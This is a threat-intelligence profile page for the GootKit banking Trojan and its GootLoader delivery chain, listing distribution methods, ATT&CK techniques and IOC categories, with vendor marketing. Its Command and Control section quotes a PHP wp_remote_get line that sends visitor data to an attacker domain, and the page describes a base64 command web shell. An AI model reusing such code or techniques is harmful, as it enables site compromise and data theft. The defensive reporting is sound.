GootKit
GootKit is a mature banking Trojan that has been active for more than half a decade and is centered on banking credential theft. The content also describes it as a highly evasive information stealer and remote access Trojan (RAT) used to establish a persistent foothold in victim environments. Once established, GootKit can be used for follow-on exploitation, including deployment of ransomware and tools such as Cobalt Strike.
GootKit is closely associated with the GootLoader delivery ecosystem. Multiple sources in the content distinguish GootLoader from GootKit while noting that GootLoader historically delivered GootKit and continues to use trojanized SEO/SEO-poisoning techniques and compromised websites to lure victims into executing obfuscated JavaScript downloaders. In observed chains, GootLoader infections involved ZIP archives containing JavaScript, persistence via scheduled tasks or registry/PowerShell mechanisms, and later-stage activity consistent with GootKit delivery. The content also notes GootKit/Jasper infection chains, including a September 26 variant in which the third-stage payload was swapped for FTCODE ransomware.
Distribution methods mentioned for GootKit include malicious SEO, trojanized search results, spam botnets such as Cutwail, exploit kits including RIG and Nebula, and delivery by other malware families or loaders such as Emotet, BrushaLoader, and Storm-0324 campaigns. Storm-0324 is specifically noted as having distributed GootKit among other first-stage payloads since at least 2016. Proofpoint content also lists GootKit among payloads delivered by TA547, and Emotet was observed delivering GootKit as a third-party payload.
The malware is associated with e-banking fraud activity and has been described as an e-banking Trojan. The content further notes that banking malware such as GootKit has used HVNC-style capabilities for banking fraud. One source places GootKit activity in Canada in BrushaLoader-related observations. Another notes that Red Canary historically saw GootKit as a frequent top-10 threat before it temporarily disappeared from their March view.
High-confidence behavioral details directly stated in the content include banking credential theft, information stealing, RAT functionality, persistence, and use as a platform for additional payload deployment including ransomware and Cobalt Strike. No single authoritative IOC set for GootKit itself is provided in the content, though related delivery chains reference artifacts such as obfuscated JavaScript stages, scheduled tasks, registry persistence, and malware detections including Trojan:Win32/Gootkit and JS/Gootkit-AW.
Hunt this family in your stack
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
Groups observed using it
2 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
Delivered malware included ZLoader (a.k.a. Terdot), Gootkit, Ursnif, Corebot, Panda Banker, Atmos, Mazar Bot, and Red Alert Android malware.
Storm-0324 has distributed a range of first-stage payloads since at least 2016, including: ... Gootkit, a banking trojan
Techniques & procedures
21 distinct techniques documented for this family, organized by ATT&CK tactic.
Reconnaissance
1 technique
Reconnaissance
Resource Development
2 techniques
Resource Development
Initial Access
4 techniques
Initial Access
The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...
The Gootloader malware family uses a distinctive form of social engineering to infect computers: Its creators lure people to visit compromised, legitimate WordPress websites using hijacked Google search results...
There are several ways in which a threat actor might be able to place a file into a WordPress site... a WordPress component may have had a vulnerability that permitted remote users to perform SQL injection or command execution exploits on the host server; the administrative WordPress password might have been stolen.
Execution
3 techniques
Execution
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
Persistence
4 techniques
Persistence
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...
At this point we didn’t know exactly how the sites are compromised, but we knew from the report that malicious PHP code is somehow inserted into the WordPress installation.
This code contains a simple PHP command shell, which the Gootloader attackers can use to maintain access to compromised pages... If the compromised website receives an HTTPS POST with that string in it, the code on the page will decode and execute any base64 encoded commands it receives...
Privilege Escalation
3 techniques
Privilege Escalation
We additionally observed the creation of a scheduled task named “Business Aviation” with the command line “wscript REHABI~1.JS”... Persistence was obtained via CScript.exe executing the file SMALLU~1.js via a scheduled task named Destination Branding.
Stealth
5 techniques
Stealth
Every aspect of this process is obfuscated to such a degree... despite the fact that Gootloader’s creators use code obfuscation to an almost absurd degree. As part of the obfuscation, the attackers break up the code.
A string analysis of the dropped file was not useful in identifying its intent, as the JavaScript was heavily obfuscated... The decoder also identified various malicious domain names within the obfuscated strings.
It then performs a process hollowing on that executable to load the Delphi component.
The attackers may simply obtain the sites’ passwords from the Gootkit malware itself, or from any of a number of criminal markets that trade in stolen credentials...
The landing page code on the initial, compromised website validates visitors then redirects some of them to a second website... The server also geofences IP address ranges, and only allows requests to originate from specific countries of interest to the Gootloader threat actor.
Discovery
2 techniques
Discovery
The requests contained Base64-encoded cookies which, when decoded, showed enumeration information regarding device directories and host information... the process would read USERNAME and USER DOMAIN information and send the data to the URIs.
The landing page code on the initial, compromised website validates visitors then redirects some of them to a second website... The server also geofences IP address ranges, and only allows requests to originate from specific countries of interest to the Gootloader threat actor.
Command and Control
3 techniques
Command and Control
Spamhaus researchers issued listings for over 7,000 botnet Command & Control ("C&C") servers... These C&C servers enabled and controlled online crime such as credential theft, e-banking fraud, spam and DDoS attacks. They were also used for the retrieval of stolen data.
the malicious event handler hooks build the request to the “mothership”... wp_remote_get("http://my-game.biz/index.php?a=".base64_encode($_GET[$qwc4]). '&b='.base64_encode($_SERVER["REMOTE_ADDR"]). '&c='.base64_encode($_SERVER["HTTP_USER_AGENT"]). '&d='.base64_encode(wp_get_referer())
Exfiltration
1 technique
Exfiltration
IOCs tracked for this family
28 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
Recent activity
14 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Secondary payload referenced as being delivered by GootLoader; also referenced as the group frequently associated with GootLoader operations.
A highly evasive information stealer and remote access trojan that establishes persistence, steals information, and enables deployment of additional tooling such as Cobalt Strike or ransomware.
A highly evasive information stealer and remote access trojan that provides persistent access, steals host information, and can deploy post-exploitation tools and ransomware.
A mature banking trojan focused on stealing banking credentials. In the campaigns described, it is also one of the final payloads delivered by Gootloader.
The version that knows your environment.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.